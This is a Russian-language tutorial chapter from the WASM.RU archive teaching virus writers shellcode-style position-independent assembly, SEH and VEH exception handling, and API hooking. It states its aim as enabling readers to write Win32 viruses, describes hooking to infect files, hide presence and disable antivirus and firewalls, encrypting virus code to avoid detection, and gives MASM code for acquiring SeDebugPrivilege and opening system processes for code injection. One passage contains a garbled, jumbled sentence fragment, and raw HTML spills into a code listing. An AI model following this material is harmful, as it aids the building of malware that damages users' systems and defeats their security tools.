От зеленого к красному: Глава 3: Программирование в Shell-код стиле. Важные техники системного программирования: SEH, VEH и API Hooking. Отключение Windows File Protection.

Дата публикации 21 авг 2005

От зеленого к красному: Глава 3: Программирование в Shell-код стиле. Важные техники системного программирования: SEH, VEH и API Hooking. Отключение Windows — Архив WASM.RU

Этот раздел является своеобразным обобщением первых двух глав. Прочтя его, Вы сможете уже без особых трудностей писать простые Win32-вирусы. Код в shell-код стиле или как он еще называется – базово-независимый код требует определенных условий при его написании. Основное условие - чтобы код не зависел от адреса загрузки его в адресное пространство процесса-жертвы и от структур данных загрузчика. Надо определить адрес какой-нибудь команды, где она находилась первоначально (т.е. в первом поколении). Это значение будет константой, зашитой в коде. Далее код должен определить, где он находиться в данный момент. Для этого есть несколько способов, которые описывались в 1 главе. Вот это и называется дельта-смещением.

Также мы должны знать адреса функций API, чтобы вирус был мульти-платформенным относительно Windows, т.е. работал во всех ОС Windows, т.к. известно, что адреса API-функций меняются в зависимости от ОС, а также могут поменяться в той же ОС в какой-то конфликтной ситуации, например при конфликте разделов виртуальной памяти. Для получения адресов, нужных нам функций ОС, существует много способов. Основы получения адресов мы рассмотрели. При получении адресов ОС Windows мы выполняем часть работы загрузчика. При загрузке исполняемого файла (PE, DLL, SYS, SCR) в адресное пространство процесса загрузчик заполняет таблицу адресов импорта (Import Address Table) и таблицу адресов экспорта (Export Address Table). При выполнении кода этого исполняемого файла IAT используется, чтобы хранить адреса всех API-функций, которые использует приложение. Таким образом, мы касаемся неявного связывания (implicit linking). Адрес API-функции может и не быть в IAT, его можно получить с помощью функции KERNEL32.DLL!GetProcAddress. Этой функции на вход передается описатель модуля, в котором экспортируется нужная функция и имя нужной функции. KERNEL32.DLL!GetProcAddress просматривает EAT модуля, описатель которого передается ей параметром (а описателем модуля(module handle), как известно является его базовый адрес(base address) в адресном пространстве процесса, в котором он загружен). Даже при неявном связывании ОС вызывает GetProcAddress для заполнения IAT. Мы своим кодом эмулируем процедуру GetProcAddress - не больше не меньше!

В исполняемом файле есть несколько секций, которые имеют свои атрибуты. Например, секция кода не предназначена для записи. Есть секция неинициализированных данных, которая имеет нулевой размер физически, но при загрузке данного исполняемого модуля в память эта секция приобретает материальный характер. Чтобы это было именно так, загрузчик просматривает таблицу секций и если он видит, что данная секция – секция неинициализированных данных, то он выделяет память в адресном пространстве процесса с помощью функций выделения памяти. Наш код находится всегда в одной секции. Чтобы таким же образом использовать виртуальное адресное пространство для своих целей приходиться использовать функции резервирования и выделения памяти в куче или, напрямую, - в виртуальной памяти.

Более того, есть проблема – если ЮЗВЕРЬ (классное слово :smile3: ) посмотрит файл, зараженный нашим кодом, то он визуально сможет найти там чего-нибудь подозрительное. Чтобы этого не случилось приходиться шифровать наш код или строки текста, создавая соответственно, и расшифровщик. Но это естественно не единственное применение шифрования в коде.

Представьте, что у нас есть код обычного приложения подсистемы Win32 на ассемблере. Задача: превратить его в код в Shell-код стиле. Сначала надо все переменные переместить в секцию с кодом и соответственно поставить прыжок на нормальный код, чтобы эти данные не начали выполняться как код. Потом вычислить дельта-смещение. Далее получить адреса всех API-функций. После этого можно превращать обычный код в код в Shell-код стиле, т.е. заменять все смещения – смещениями с учетом дельта-смещения.

Пример:

Первоначальный код:

Код (Text):
  1.  
  2. invoke MessageBox,0,offset Text1,offset Title1, MB_OK
  3. .IF eax==0
  4.     jmp error
  5. .ENDIF
  6. error:

Во-первых, переменные offset Text1, offset Title1 должны находиться в секции кода – т.е. там, где находиться код вируса. Из-за этого секцию с таким кодом нужно делать доступным для записи. Во-вторых, offset Text1 – это абсолютный адрес. Допустим, что мы вычислили дельта-смещение и поместили его в регистр EBP. ы вычислили  дель с таким кодом нужно делать доступным для записи. твественно и расшифровщик. ной ситуации.С учетом вычисленного дельта-смещения мы должны его исправить т.о.

Код (Text):
  1.  
  2. lea edi, [ebp+ offset Text1]

Теперь в EDI находиться реальный адрес строки Text1. Также делаем и со всеми остальными переменными. Допустим, что адрес функции MessageBox, находиться в переменной _MessageBox. Тогда вызываем функцию так:

Код (Text):
  1.  
  2. push MB_OK
  3. lea esi,[ebp+ offset Title1]
  4. push esi
  5. lea esi,[ebp+ offset Text1]
  6. push esi
  7. push 0
  8. mov eax,[ebp+_MessageBox]
  9. call eax

Две строки

Код (Text):
  1.  
  2. mov eax,[ebp+_MessageBox]
  3. call eax

можно заменить одной

Код (Text):
  1.  
  2. call dword ptr [ebp+_MessageBox]

Пример Закончен.

Как известно система команд современных 32-х разрядных процессоров не содержит в себе дальнего условного перехода. Но у нас код и данные расположены в одном большом сегменте, т.о. мы можем переходить на любые расстояния, используя модель памяти FLAT. Но нет команды, которая осуществляет косвенный переход. Т.е., если у нас адрес хранится в каком-нибудь регистре, то мы не можем использовать команду условного перехода, например так - jne EDI. Вот как можно реализовать косвенный переход

Пример:

Код (Text):
  1.  
  2. cmp eax,0
  3. jne Next
  4. jmp edi
  5. Next:

Пример Закончен.

Этот код означает следующее – если значение в регистре EAX равно нулю, то делается дальний переход на адрес, который находиться в EDI.

При программировании в shell-код стиле полезно пользоваться процедурами, т.к. в них можно использовать локальные переменные и они базово-независимы в принципе, т.к. используют стек. Но здесь возникает небольшой вопрос – где хранить дельта-смещение? Вопрос возникает потому, что мы обычно храним дельта-смещение  в регистре EBP. В процедурах, регистр EBP используется для своего первоначального предназначения – хранить базу кадра стека. Здесь можно пофантазировать. Я использовал локальную переменную для хранения дельта-смещения.

Директивы компилятора .IF,.WHILE и т.д. Вы можете применять без особых проблем, т.к. у нас всего один сегмент. В случае этих директив компилятор генерирует код, в который входят только относительные адреса.

API-функции мы будем вызывать по абсолютным адресам, для чего мы и получили их адреса. В итоге, первоначальный код, который мы решили перевести в код в Shell-код стиле превращается в такой:

Пример:

Код (Text):
  1.  
  2. push MB_OK
  3. lea esi,[ebp+ offset Title1]
  4. push esi
  5. lea esi,[ebp+ offset Text1]
  6. push esi
  7. push 0
  8. call dword ptr [ebp+_MessageBox]
  9. .IF eax==0
  10.     jmp error
  11. .ENDIF
  12. error:

Пример Закончен.

В команде jmp error также используется относительный переход. По умолчанию в JMP в MASM’е трактуется как прямой внутрисегментный переход.

При программировании удобно использовать макросы. Посмотрите пример

Пример:

Код (Text):
  1.  
  2. api macro x
  3.     call dword ptr [ebp+x-delta]
  4. endm

А вот так это можно использовать:

Код (Text):
  1.  
  2. api _MessageBox

Пример Закончен.

Обобщенный пример программирования в Shell-код стиле

В этом разделе я хотел привести нормальную программу, а потом эту же программу, но в Shell-код стиле. Но потом я передумал :smile3: Код той и другой программы находятся в архиве, который прилагается к статье. Итак, программа рекурсивного поиска. Программа выводит на экран с помощью MessageBox’а количество найденных файлов с расширением EXE в указанной директории и всех ее поддиректориях. Файлы ищутся в директории, имя которой находиться по адресу Buffer. В архиве есть папка, которая называется ShellCoded. В ней нормальная программа называется – normal.asm, в Shell-код стиле – shellcode.asm. Внимательно рассмотрите эти программы и попробуйте их сравнить. Также потренируйтесь переводить свои программы таким же образом.

Т.о. Вы можете переводить обычное Win32-приложение в приложение в shell-код стиле. Во вложении к статье я также предлагаю Вам шаблон файла, где Вам не придется получать дельта смещение и адреса API-функций. Там уже все есть как в сказке! Почти всё ;) Файл называется VXTemplateWin32.asm.

Важные техники системного программирования

Structured Exception Handling

Введение

Structured Exception Handling (SEH) - структурная обработка исключений, механизм, который поддерживается операционной системой и позволяющий обрабатывать ошибки в программах. В этом разделе я расскажу Вам, что такое SEH, как работает данный механизм и как его использовать в своих вирусах.

SEH – это системный механизм. Представьте, что Ваша программа попытается выполнить следующий код:

Пример:

Код (Text):
  1.  
  2. xor eax,eax
  3. mov dword ptr [eax],1 ;Записываем по адресу 0 - единицу.

Пример Закончен.

Любое обращение к адресам от 0 до 0FFFFh ведет к исключению нарушения доступа к памяти. Конечно, ошибка нарушения доступа к памяти появляется не только для этих адресов, но и для всех адресов выше 2х Гб в виртуальном адресном пространстве, а также если мы пытаемся обратиться к не переданным страницам или например, произвести запись к странице к которой мы не имеем право на запись.

Исключение – это событие, которое происходит в результате какой-либо ошибки.  Каждое исключение имеет свой код. Например, код неправомерного доступа к памяти – 0C0000005h. Коды исключений определены в файле WINBASE.H. Допустим, выполняется пример кода, когда мы записываем 1 по адресу 0, тогда возникает исключение. ОС должна реагировать на исключение.  Обычно при возникновении исключения ОС вызывает функцию, которая называется обработчиком исключений (exception handler). Эта функция – обычная CALLBACK-функция принимающая несколько параметров. Если мы обрабатываем это исключение, то мы пишем обработчик и в определенном месте указываем его адрес, чтобы, если произошло исключение, ОС смогла вызвать наш обработчик.  Если обработчик выполнился, ОС решает, что дальше делать исходя из возвращаемого значения, которой вернул  обработчик. Исходя из этих соображений, программа может продолжить работу, программа может завершиться или ОС вызывает следующий обработчик в цепочке (если таковой имеется). Т.е. можно устанавливать несколько обработчиков. Если мы сами не установили обработчик, то в любом приложении установлен обработчик по умолчанию и если случиться исключение, то ОС выведет сообщение о завершении программы.

Если на участок кода приведенном в примере установлен обработчик, то мы можем обработать эту ошибку с помощью специально написанного обработчика. Существует два типа обработчиков исключений – конечные и внутри-поточные. Итак…

Конечный обработчик

Если программа вызвала исключение, то, если внутри-поточные обработчики не установлены или не обрабатывают исключение, вызывается конечный обработчик. Конечный обработчик глобален для процесса, в котором он установлен, в отличии от внутри-поточного. Конечный обработчик устанавливается с помощью API-функции KERNEL32.DLL!SetUnhandledExceptionFilter. Как Вы заметили :smile3: она экспортируется из kernel32.dll. С помщью этой функции можно установить конечный обработчик. Если в Вашей программе произошло исключение и его не обрабатывают никакие внутри-поточные обработчики, то вызывается конечный обработчик. Конечный обработчик вызывается как раз перед тем, когда ОС решила закрыть приложение. Смещение конечного обработчика передается как параметр функции KERNEL32.DLL!SetUnhandledExceptionFilter.

Пример:

Код (Text):
  1.  
  2. Handler proc EXCEPT:DWORD
  3.     …; здесь обрабатываем ошибочку
  4. ret
  5. Handler endp
  6. ……..
  7. lea eax,[ebp+Handler]
  8. push eax
  9. call [ebp+_SetUnhandledExceptionFilter];установка конечного обработчика
  10. ….; защищенный код. Если здесь будет исключение,
  11. ; то вызовется функция по адресу Handler

Пример Закончен.

Функция-обработчик такой прототип прототип:

Код (Text):
  1.  
  2.     LONG UnhandledExceptionFilter( STRUCT _EXCEPTION_POINTERS *ExceptionInfo);

Прототип этой функции я взял из SDK. Также там описаны и возвращаемые значения этой функции. А возвращаемые значения могут быть такие:

  • eax = -1 - перегрузить контекст и продолжить
  • eax = 1 - выключает вывод Message Box'а
  • eax = 0 - включает вывод Message Box'а

Прототип конечного обработчика отличается от прототипа внутри-поточного обработчика.

Если что-то произошло в коде вируса, то надо просто перепрыгнуть на нормальный код программы, если этот код внедрен в программу и выполняется до ее старта. Если код вируса выполняется в потоке, то мы завершаем поток. Конечно, можно попробовать  исправить ошибку, и продолжить выполнение.

Внутри-поточный обработчик

Если мы хотим обрабатывать ошибки для каждого потока, т.е. устанавливать свой обработчик для каждого вида ошибок в потоке, то мы должны установить внутри-поточный обработчик. Например, ошибка нарушения доступа к памяти в одном потоке будет обрабатываться по-своему, а в другом потоке та же ошибка, уже по-другому, в зависимости от обработчика. Из внутри-поточных обработчиков можно делать цепочки. Т.е. если один обработчик не обрабатывает исключение, то исключение может обработать следующий обработчик в цепочке.

По адресу FS:[0] находиться указатель на структуру SEH, ее называют SEH-фрейм.

Вот описание этой структуры:

Код (Text):
  1.  
  2. SEH struct
  3.     PrevLink dd ?    ; адрес предыдущего SEH-фрейма
  4.     CurrentHandler dd ?    ; адрес обработчика исключений
  5.     SafeOffset dd ?    ; Смещение безопасного места
  6.     PrevEsp dd ?      ; Старое значение esp
  7.     PrevEbp dd ?     ; Старое значение ebp
  8. SEH ends

Когда мы устанавливаем обработчик исключения вручную, то мы заполняем структуру SEH и передаем указатель на нее в FS:[0]. Структура SEH должна состоять как минимум из 2-х первых двойных слов. Эта новая созданная структура должна обязательно находиться в стеке, иначе наш обработчик не будет вызван. Более того, очередная новая созданная структура должна находиться в стеке выше, чем предыдущие установленные структуры.

Вот как можно установить внутри-поточный обработчик:

Пример:

Код (Text):
  1.  
  2. lea eax,[edx+Handler];В edx - дельта смещение
  3. push eax ;Формируем структуру SEH
  4. push FS:[0];Формируем структуру SEH
  5. mov FS:[0],ESP
  6. …;Защищенный код
  7. pop FS:[0];Восстанавливаем в FS:[0] адрес предыдущей структуры SEH
  8. add ESP,4;убираем из стека оставшийся адрес обработчика из структуры
  9. Handler proc ExcRec:DWORD, SehFrame:DWORD, Context:DWORD, DispatcherContext:DWORD
  10. mov eax,0
  11. ret
  12. Handler endp

Пример Закончен.

Когда поток начинает только выполняться, у него уже установлен один обработчик, обработчик по умолчанию, который выводит сообщение о завершении программы.

Если присмотреться внимательно, то можно понять, что вышеприведенным кодом добавляется очередной элемент в связный список. По адресу FS:[0] содержится указатель на структуру SEH, в которой имеется адрес предыдущей структуры SEH в стеке. Этот связный список называется SEH-цепочка (SEH-chain). Так формируется цепочка из обработчиков исключений. Сцепление в цепочку обработчиков делается, например для того, чтобы каждый обработчик в цепочке обрабатывал свои типы исключений. Если первый обработчик не обработал исключение, то он возвращает eax=1 и управление передается следующему обработчику в цепочке. Т.е. если обработчик возвращает 1, то ОС переходит к следующему элементу в цепочке. Также для каждого куска кода может быть свой обработчик. Если данный обработчик – последний в цепочке, то у него указатель на предыдущий обработчик (поле PrevLink) будет равен -1. Чтобы точно понять, что же такое цепочка из внутри-поточных обработчиков посмотрите на рисунок:

При вызове внутри-поточного обработчика ОС использует Си-договоренность о передаче параметров, вместо стандартной договоренности, т.е. стек после вызова, вызывающий код, должен сам уравнивать, что ОС и делает.

Прототип внутри-поточного обработчика имеет вид

Код (Text):
  1.  
  2. EXCEPTION_DISPOSITION __cdecl _except_handler (
  3.     struct _EXCEPTION_RECORD *ExceptionRecord,
  4.     void * EstablisherFrame,//указатель на структуру SEH
  5.     struct _CONTEXT *ContextRecord,//Указатель на структуру CONTEXT
  6.     void * DispatcherContext
  7.     );

Ообработчик имеет доступ к структуре EXCEPTION_RECORD, которая содержит подробную информацию о исключении. С помощью адреса структуры SEH можно получить доступ к локальным переменным, т.к. структура SEH находится в стеке. Из структуры CONTEXT можно получить значения всех регистров, которые они имели во время возникновения исключения. Структуру CONTEXT также можно редактировать, чтобы исправить ошибку и продолжить выполнение программы. Параметр DispatcherContext обычно не используется.

В заключение этого раздела приведу значения, которые могут возвращать конечный обработчик:

  • eax = 1 - ОС вызывает следующий обработчик в цепочке
  • eax = 0 - перезагружаем контекст и продолжаем

Продолжение выполнения с безопасного места

Внутри-поточный обработчик

Когда мы просто прыгаем на безопасное место из обработчика, мы не сохраняем никакие регистры, кроме регистра EIP. Например, регистры ESP, EBP не сохраняются. Именно поэтому такой способ - «грязный». Есть техника позволяющая сохранять регистры, а также иметь доступ к локальным данным. Для этого нужно написать соответствующий обработчик. Используя эту технику можно исправить ошибку и продолжить выполнение с безопасного места. Вот маленькая программа, где используется техника продолжения выполнения с безопасного места:

Пример:

Код (Text):
  1.  
  2. .386p
  3. .model flat,stdcall
  4. option casemap:none
  5. ;----------------------IncludeLib and Include---------------------
  6. includelib \tools\masm32\lib\user32.lib
  7. includelib \tools\masm32\lib\kernel32.lib
  8. includelib \tools\masm32\lib\gdi32.lib
  9. includelib \tools\masm32\lib\advapi32.lib
  10. include \tools\masm32\include\windows.inc
  11. include \Tools\masm32\include\proto.inc
  12. include \tools\masm32\include\user32.inc
  13. include \tools\masm32\include\kernel32.inc
  14. include \tools\masm32\include\gdi32.inc
  15. include \tools\masm32\include\advapi32.inc
  16. ;----------------------End IncludeLib and Include-----------------
  17. SEH struct
  18. PrevLink dd ?    ; адрес предыдущего SEH-фрейма
  19. CurrentHandler dd ?    ; адрес обработчика исключений
  20. SafeOffset dd ?    ; Смещение безопасного места
  21. PrevEsp dd ?      ; Старое значение esp
  22. PrevEbp dd ?     ; Старое значение ebp
  23. SEH ends
  24.  
  25. .data
  26.     seh db "In SEHHanlder",0
  27.     seh1 db "After Exception SEHHanlder",0
  28. .code
  29. start:
  30.     assume fs:nothing
  31.     push ebp
  32.     push esp
  33.     push offset Next
  34.     push offset SEHHandler
  35.     push FS:[0]
  36.     mov FS:[0],ESP
  37.     ;здесь начинается защищенный код
  38.         mov eax,0
  39.         mov dword ptr [eax],1
  40.     pop FS:[0];Восстанавливаем в FS:[0] адрес предыдущей структуры ERR
  41.     add ESP,16;убираем из стека оставшийся адрес обработчика из структуры
  42. Next:
  43.     invoke MessageBox,0,offset seh1,offset seh1,0
  44.     invoke ExitProcess,0
  45. SEHHandler proc uses edx pExcept:DWORD, pFrame:DWORD, pContext:DWORD, pDispatch:DWORD
  46.     mov edx,pFrame
  47.     assume edx:ptr SEH
  48.     mov eax,pContext
  49.     assume eax:ptr CONTEXT
  50.     push [edx].SafeOffset
  51.     pop [eax].regEip
  52.     push [edx].PrevEsp
  53.     pop [eax].regEsp
  54.     push [edx].PrevEbp
  55.     pop [eax].regEbp
  56.     invoke MessageBox,0,offset seh,offset seh,0
  57.     mov eax,ExceptionContinueExecution
  58.     ret
  59. SEHHandler endp
  60. end start

Пример Закончен.

В начале программы, в стеке создается SEH-фрейм. По адресу FS:[0] передается указатель на этот SEH-фрейм. Помимо смещения обработчика и адреса предыдущего SEH-фрейма мы передаем смещение безопасного места, значение ESP и EBP. Т.о. мы заполняем все поля структуры SEH. Если происходит исключение, то управление передается обработчику исключений SEHHandler. Обработчик исключений, используя переданную ему структуру SEH заполняет некоторые поля структуры CONTEXT, а именно регистры ESP(для сохранения вершины стека), EBP(для доступа к локальным данным), EIP(для перехода на безопасное место). Обработчик возвращает 1 или константу ExceptionContinueExecution, чтобы сообщить операционной системе, что обработчик обработал исключение и необходимо продолжить выполнение программы в контексте указанной в структуре CONTEXT.

Финальный обработчик

В финальном обработчике также можно перезагружать контекст таким образом, чтобы выполнение продолжалось с безопасного места. Но если мы хотим продолжить выполнение программы возвращать обработчик должен уже не 1, а -1. Финальному обработчику в отличие от внутри-поточного передается только структуры CONTEXT, EXCEPTION_RECORD, а структура SEH не передается, поэтому значения регистров EIP, EBP, ESP надо хранить в статической памяти или что-либо подобное, например в куче.

Заключение

SEH также используют для переполнения стека или переполнения кучи, с помощью подмены обработчика. Это уже штучки создателей эксплойтов – отдельное сообщество компьютерного андеграунда, так же как и вирмейкеры. Очень хорошо, когда сообщества объединяются или комбинируются. Остальную информация о SEH – такую как – «раскрутка стека», «информация, которая передается обработчику», и т.д. можно прочитать в статье Джереми Гордона.

Vectored Exception Handling (VEH)

VEH – или векторная обработка исключений - относительно новый механизм обработки исключений. Он появился впервые в операционной системе Windows XP. Вы, наверное, испугались названия, но не бойтесь, использовать VEH очень просто.

VEH это тоже самое, что и SEH – также устанавливаются обработчики исключений. Но в этих механизмах есть несколько различий. Во-первых, никаких служебных слов типа try, except, finally для С++, как раньше, нет.  Т.е. это не надстройка компилятора. Во-вторых, и это очень важно – VEH это не stack-frame based механизм. Т.е. раньше все SEH-фреймы были в стеке. Теперь же узлы VEH’а находятся в куче. В-третьих, VEH обработчики глобальны для процесса. Из VEH обработчиков можно делать цепочки.

Можно сравнить VEH с финальными обработчиками UnhandledExceptionFilter из которых можно делать цепочки. Различие с финальным обработчиком и в том, что векторный обработчик вызывается в первую очередь(т.е. до SEH), а финальный в последнюю.

Чтобы установить векторный обработчик мы вызываем функцию AddVectoredExceptionFilter. Вот ее прототип:

Код (Text):
  1.  
  2. PVOID AddVectoredExceptionHandler(
  3.   ULONG FirstHandler,
  4.   PVECTORED_EXCEPTION_HANDLER VectoredHandler
  5. );

FirstHandler – если этот параметр не ноль, то обработчик устанавливается, как следующий элемент в цепочке. Т.е. при возникновении исключения именно он вызовется ОС. Если этот параметр ноль, то обработчик устанавливается в начало цепочки и вызывается в том случае, если все остальные обработчики в цепочке не обрабатывают исключение, т.е. возвращают EXCEPTION_CONTINUE_SEARCH.

Огромным преимуществом VEH’а над SEH’ом в том, что он отлавливает абсолютно все исключения для всех потоков. А вот у SEH’а с этим проблемы.

Пример использования VEH’а:

Пример:

Код (Text):
  1.  
  2.     lea eax,[ebp+Handler];В EBP - дельта-смещение
  3.     push eax
  4.     push 1
  5.     call dword ptr [ebp+_AddVectoredExceptionHandler]
  6. …;защищенный код
  7. Handler proc Record:DWORD;обработчик
  8.     …;обработка исключения
  9.     mov eax,1;Проход дальше по цепочке
  10.     ret
  11. Handler endp

Пример Закончен.

VEH изнутри

Я попытался исследовать VEH изнутри. Что из этого получилось, описано в этом разделе.

В модуле NTDLL.DLL есть статическая глобальная переменная. Назовем её CurrentVEHFrame. В этой переменной содержится адрес текущего VEH-фрейма. При вызове функции AddVectoredExceptionHandler в куче создается новый VEH-фрейм и заполняется соответствующими значениями. VEH-фреймом я называю структуру, которая определена следующим образом

Код (Text):
  1.  
  2. VEH struct
  3.   Prev dd ?
  4.   pСurrentVEHFrame dd ?
  5.   EncodeVEHHandler dd ?
  6. VEH ends

Prev - адрес в куче предыдущего VEH-фрейма. Если это самый последний фрейм, то его значение равно значению адреса переменной CurrentVEHFrame.

pСurrentVEHFrame - адрес переменной CurrentVEHFrame

EncodeVEHHandler - закодированный адрес обработчика. Чтобы получить виртуальный адрес обработчика необходимо вызвать функцию RtlDecodePointer библиотеки NTDLL(можно написать так: NTDLL!RtlDecodePointer).

Т.о. при  вызове функции AddVectoredExceptionHandler в цепочку векторных обработчиков добавляется новый элемент. Цепочка представляет связанный список. Вот рисунок, который иллюстрирует сказанное:

Здесь при возникновении исключения будет вызван обработчик Handler1. Если он не обрабатывает исключение, то управление передается обработчику, следующему в цепочке. Еще раз повторю, что ОС определяет, что обработчик является последним в цепочке, если pCurrentVEHFrame==Prev. Это показано на рисунке.

Перехват вызовов функций

Общая картина

                Перехват вызовов функций называется также «Per-process residency» техника, применяемая в операционных системах Windows. С ОС Windows поставляются файлы с расширением DLL – Dinamic Link Library. Это библиотеки динамической компоновки. Они экспортируют функции, чтобы их могли  вызвать другие приложения или DLL. Чтобы приложение могло использовать какие-то сервисы ОС, оно должно вызвать одну из функций, которая экспортируются системной DLL. Все функции ОС хранятся в системных DLL. Функции, которые являются посредниками между ОС и приложением называются API(Application Programming Interface)-функциями. Соль механизма перехвата функций состоит в следующем. Когда приложение вызывает API-функцию мы можем вместо оригинальной функции вызвать свою функцию, которая может изменить результат вызова для приложения-жертвы (для того приложения, в котором мы перехватываем функции). Т.о. мы можем изменять логику работы любого приложения. Т.е. любое обращение программы к ОС мы можем контролировать, изменять или просто наблюдать за работой какого-то приложения. Мы можем понять, как работает та или иная программа по функциям, которая она вызывает. И этот способ контроля будет значительно проще для анализа, чем простая отладка. Тем более некоторые программы используют анти-отладочные механизмы. Некоторые операции в ОС Windows вообще нельзя осуществить без помощи перехвата API-функций. Перехватывать можно не только API-функции, но и любые экспортируемые функции.

                В вирусологии техника перехвата особенно полезна. Она используется для продвинутого заражения файлов, полезной нагрузки, получения информации нужной вирусу (например, путь к файлу для заражения), скрытия присутствия, уничтожения или нарушения работы ненужных нам программ (антивирусов и брандмауэров).

                В адресное пространство любого процесса загружена библиотека NTDLL.DLL. При вызове функций из kernel32.dll, например, OpenProcess в конечном итоге вызывается функция ZwOpenProcess, которая находиться в NTDLL.DLL. Низкоуровневые функции, которые находятся в NTDLL.DLL называются NativeAPI функции. Лучше перехватывать именно их, чтобы процесс жертва не смог отделаться от перехвата даже с помощью вызова Native API. Можно и просто исправить перехват. Но чтобы и этого не случилось, необходим перехват в нулевом кольце. Здесь мы будем заниматься только третьим кольцом.

Привилегии

                Перехват вызовов функций делается при помощи некоторого механизма. Этот механизм применим для одного конкретного процесса. Если мы хотим глобализировать наш перехват, то мы должны применить технику перехвата для всех процессов в системе. Но по умолчанию даже пользователь с привилегиями администратора не имеет возможности получить доступ к системным процессам (например, winlogon.exe). Чтобы перехватывать функции и в системных процессах необходим доступ к этим системным процессам. Вообще, для внедрения кода в удаленный процесс (а это один из важных шагов механизма перехвата) необходимы следующие привилегии:

  • PROCESS_CREATE_THREAD – для создания потока в удаленном процессе
  • PROCESS_VM_WRITE – для записи в память удаленного процесса
  • PROCESS_VM_OPERATION – для операций типа изменения прав доступа к памяти (protect и lock).

Чтобы открыть системный процесс с такими привилегиями, вызывающий функцию KERNEL32.DLL!OpenProcess должен иметь привилегию SeDebugPrivilegies. Ниже представлена процедура на ассемблере получения данной привилегии:

Пример:

Код (Text):
  1.  
  2. EnableDebugPrivilege proc
  3. LOCAL hToken:DWORD
  4. LOCAL tkp:TOKEN_PRIVILEGES
  5. LOCAL ReturnLength:DWORD
  6. LOCAL luid:LUID
  7.     mov eax,0
  8.     invoke OpenProcessToken,INVALID_HANDLE_VALUE, TOKEN_ADJUST_PRIVILEGES or TOKEN_QUERY,ADDR hToken
  9.     invoke LookupPrivilegeValue,NULL,offset Priv,ADDR luid
  10.     .IF eax==0
  11.         invoke CloseHandle,hToken
  12.         ret
  13.     .ENDIF
  14.     mov tkp.PrivilegeCount,1
  15.     lea eax,tkp.Privileges
  16.     assume eax:ptr LUID_AND_ATTRIBUTES
  17.     push luid.LowPart
  18.     pop [eax].Luid.LowPart
  19.  
  20.     push luid.HighPart
  21.     pop [eax].Luid.HighPart
  22.  
  23.     mov [eax].Attributes,SE_PRIVILEGE_ENABLED
  24.    
  25.     invoke AdjustTokenPrivileges,hToken,NULL,ADDR tkp,sizeof tkp,ADDR tkp,ADDR ReturnLength
  26.     invoke GetLastError
  27.     .IF eax!=ERROR_SUCCESS
  28.         ret
  29.     .ENDIF
  30.     mov eax,1
  31.     ret
  32. EnableDebugPrivilege endp

Пример Закончен.

Здесь Priv - это строка определенная так:

Код (Text):
  1.  
  2. Priv db "SeDebugPrivilege",0

После вызова данной функции вызывающий ее процесс может открывать системные процессы.

Пример:

Код (Text):
  1.  
  2.     call EnableDebugPrivilege
  3.     push ProcID;ID системного процесса
  4.     push 0
  5.     push PROCESS_CREATE_THREAD or PROCESS_VM_WRITE or PROCESS_VM_OPERATION
  6.     call OpenProcess

Пример Закончен.

GetLastError вернет ERROR_SUCCESS. Если открыть системный процесс без вызова функции EnableDebugPrivilege, то OpenProcess вернет ноль, а GetLastError вернет ERROR_ACCESSDENIED.

Dinamic Link Library

Общая картина

                 Чтобы перехватить функцию в каком-нибудь процессе необходимо выполнить код в этом процессе. Изначально этот код не содержится в этом процессе. Т.е. его необходимо туда поместить. Для этого есть два способа: 1) Внедрение кода с помощью DLL. 2) Простое копирование кода в шел-код стиле. Большинство методов перехвата API функций используют внедрение кода с помощью DLL, т.к. при этом нет требования базовой независимости и зависимости от адресов API-функций. В случае вируса нам желательно не создавать никаких DLL, хотя нет никаких проблем, если мы создадим ее. При этом есть ограничение – это размер кода, который будет внедрен в жертву при заражении. Как создавать код в шел-код стиле мы уже знаем, теперь рассмотрим как создать DLL.

                DLL – это обычный PE-файл, в котором есть соответствующий флаг поля Characteristics файлового заголовка. В EXE-файле не может быть этого флага. Если в EXE файле стоит флаг DLL, то он считается некорректным. DLL – это обычно набор функций, которые экспортируются другими модулями. У DLL, как и у любого EXE файла есть точка входа. Для DLL точка входа указывает на функцию, которую условно можно назвать DLLMain. Вот её прототип:

Код (Text):
  1.  
  2. DllMain proc hInstDLL:HINSTANCE, reason:DWORD, reserved1:DWORD</code></pre>
  3.  
  4. <p>hInstDLL –
  5. описатель данной DLL </p>
  6.  
  7. <p>Эта
  8. функция вызывается при определенных событиях. В результате какого события была
  9. вызвана функция DLL указано в параметре reason.</p>
  10.  
  11. <p>Вот
  12. его возможные значения и их описание:</p>
  13.  
  14. <ul>
  15.   <li><b>DLL_PROCESS_ATTACH</b> - DLL получает это значение, когда впеpвые
  16. загpужается в адpесное пpостpанство пpоцесса. Вы можете использовать эту
  17. возможность для того, чтобы осуществить инициализацию. При этом значении мы
  18. устанавливаем перехватчик.
  19.  
  20.   <li><b>DLL_PROCESS_DETAC</b><b>H</b>
  21. - DLL получает это значение, когда выгpужается из адpесного пpостpанства
  22. пpоцесса. Вы можете использовать эту возможность для того, чтобы
  23. &quot;почистить&quot; за собой: освободить память и так далее.
  24.  
  25.   <li><b>DLL_THREAD_ATTAC</b><b>H</b>
  26. - DLL получает это значение, когда пpоцесс создает новый поток.
  27.  
  28.   <li><b>DLL_THREAD_DETAC</b><b>H</b>
  29. - DLL получает это значение, когда поток в процессе был уничтожен.
  30. </ul>
  31.  
  32. <h2><a name="_Toc106867011">Создание </a>DLL</h2>
  33.  
  34. <p>Создание DLL
  35. мало отличается от создания EXE. Вот код самой простой DLL:</p>
  36.  
  37. <p><b><u>Пример:</u></b></p>
  38.  
  39. <p><code><pre>
  40. ;----------------------------------------------------------------------------
  41. ;               DLL.asm
  42. ;----------------------------------------------------------------------------
  43. .386
  44. .model flat,stdcall
  45. option casemap:none
  46. include \masm32\include\windows.inc
  47. include \masm32\include\user32.inc
  48. include \masm32\include\kernel32.inc
  49.  
  50. includelib \masm32\lib\user32.lib
  51. includelib \masm32\lib\kernel32.lib
  52.  
  53. .data
  54. .code
  55. DllMain proc hInstDLL:HINSTANCE, reason:DWORD, reserved1:DWORD
  56.     .if reason==DLL_PROCESS_ATTACH
  57.         ;код
  58.     .elseif reason==DLL_PROCESS_DETACH
  59.         ;код
  60.     .elseif reason==DLL_THREAD_ATTACH
  61.         ;код
  62. .else    ; DLL_THREAD_DETACH
  63.         ;код
  64.     .endif
  65.     mov  eax,TRUE
  66. ret
  67. DllMain Endp
  68.  
  69. TestFunction proc;Функция, которая ничего не делает, но экспортируется
  70. ret
  71. TestFunction endp
  72. end DllMain
  73. ;----------------------------------------------------------------------------

Пример Закончен.

Также необходимо создать файл с расширением DEF, который должен быть примерно такого вида:

Пример:

Код (Text):
  1.  
